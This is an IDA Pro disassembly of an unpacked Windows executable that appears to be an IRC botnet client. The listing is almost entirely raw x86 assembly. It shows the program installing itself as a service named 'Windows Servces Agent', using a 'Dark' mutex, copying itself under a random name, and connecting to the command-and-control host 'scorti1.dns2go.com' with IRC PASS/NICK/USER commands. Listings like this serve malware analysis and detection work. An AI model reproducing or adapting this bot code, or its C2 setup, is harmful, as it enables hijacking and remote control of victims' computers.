; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 204182F7FB9A7F9E1CD7FD4466FA2250 ; File Name : u:\work\204182f7fb9a7f9e1cd7fd4466fa2250_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_418359+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsServces ; "Windows Servces Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CAF28 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41AFE0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CAF98 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CAED8 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CAF50 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:00416643p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41B4D5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41B4C2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41B202 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B11A add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41B0B1 push edi call sub_41B05B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43DEBC call dword_4CB00C call sub_40B2BF call dword_4CAECC call dword_4CAECC mov ebx, dword_427078 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B590 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_43D128 mov [ebp+var_28], 1 mov [ebp+var_24], di call near ptr 2660AFDh nop lea eax, [ebp+var_158] push esi push eax push edi call near ptr 2660000h nop lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 2651BF2h test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427068 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43D120 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call near ptr 77E75CB5h nop pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418684 pop ecx mov dword_4CACB0, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270A8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CACB4, eax call esi push eax call sub_41B8D8 pop ecx call sub_409B12 push 2 call dword_4CB020 push 7530h push offset aDark ; "Dark" push ebx push ebx nop call near ptr 2680249h push eax nop call near ptr 26801A2h cmp eax, 102h jnz short loc_4012A1 push 1 nop call near ptr 77E75CB5h loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CAEE4 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2660AFDh lea eax, [ebp-2ECh] push esi push eax push ebx call near ptr 2680000h nop push eax nop call near ptr 2660000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41B9D1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_4293C4 lea eax, [ebp-5F4h] push esi push eax call sub_41B980 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41B900 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41AFE0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41AFE0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_4293BC push eax call sub_41B886 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 2670EEBh cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax call near ptr 2670DCEh nop loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427090 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C nop call near ptr 26709C5h cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h call near ptr 2670000h nop lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_418293 pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 2670DCEh push 10h lea eax, [ebp-20h] push ebx push eax call sub_41B590 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41B590 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset dword_43D128 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi nop call near ptr 2670931h push eax push esi push 100000h nop call near ptr 26702CAh lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_4293B0 push eax call sub_41B886 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 2651BF2h test eax, eax jz short loc_401516 push 0C8h call near ptr 2670000h nop push dword ptr [ebp-20h] mov esi, dword_427068 call esi push dword ptr [ebp-1Ch] call esi call dword_4CAECC push ebx call near ptr 77E75CB5h nop loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DB294, 2 jle short loc_401562 mov eax, dword_4DB298 push dword ptr [eax+4] call sub_41B779 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 26801A2h push esi nop call near ptr 26518CEh mov eax, dword_4DB298 cmp [eax+8], ebx jz short loc_401562 push 7D0h nop call near ptr 2670000h mov eax, dword_4DB298 push dword ptr [eax+8] call near ptr 2670219h nop loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CB044, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_429394 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B0F6 lea eax, [ebp-0A0h] push eax call sub_4151AC push 0B80h push ebx push offset dword_43D130 call sub_41B590 add esp, 24h lea eax, [ebp-0A0h] push offset unk_429370 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B0F6 add esp, 14h mov esi, eax mov edi, dword_42707C lea eax, [ebp-8] push eax push ebx push ebx push offset dword_419A00 push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz short loc_401622 call near ptr 26709C5h nop push eax lea eax, [ebp-0A0h] push offset unk_429330 push eax call sub_41B886 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_4151AC push 2 call sub_40B33E pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429304 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz short loc_40169A nop call near ptr 26709C5h push eax lea eax, [ebp-0A0h] push offset dword_4292D0 push eax call sub_41B886 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_4151AC pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41B8E2 push 7Fh and eax, 3 push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CACBC mov dword_4CAE28, eax call sub_41B5F0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CAD3C push offset aFaak ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh mov esi, offset dword_4CAD7C push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword_4CAE10, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CACB8 mov dword_4CAE24, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CAE24, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h nop call near ptr 2670000h inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CACBC call sub_41B5F0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CACBC call sub_41B5F0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B2BF loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CAECC loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+662Ao var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CAF74 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AAF9 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40B08D mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43DEC8 push edi push eax call sub_41B5F0 add esp, 28h push 6 push 1 push 2 call dword_4CAFF4 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43DEBC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CAF1C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CB00C call sub_40AB22 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j call near ptr 2670000h nop jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_4293CC call sub_415220 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CB00C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B412 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41BB20 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CAE20, bl jz short loc_40199A push offset byte_4CAE20 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409A2C add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CB00C push 1388h nop call near ptr 2670000h loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CAF8C test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_417F7F pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h nop call near ptr 2670000h jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_5D88 = byte ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h var_50F4 = byte ptr -50F4h var_4FF4 = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = byte ptr -45ECh var_4588 = byte ptr -4588h var_4488 = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h var_D80 = dword ptr -0D80h 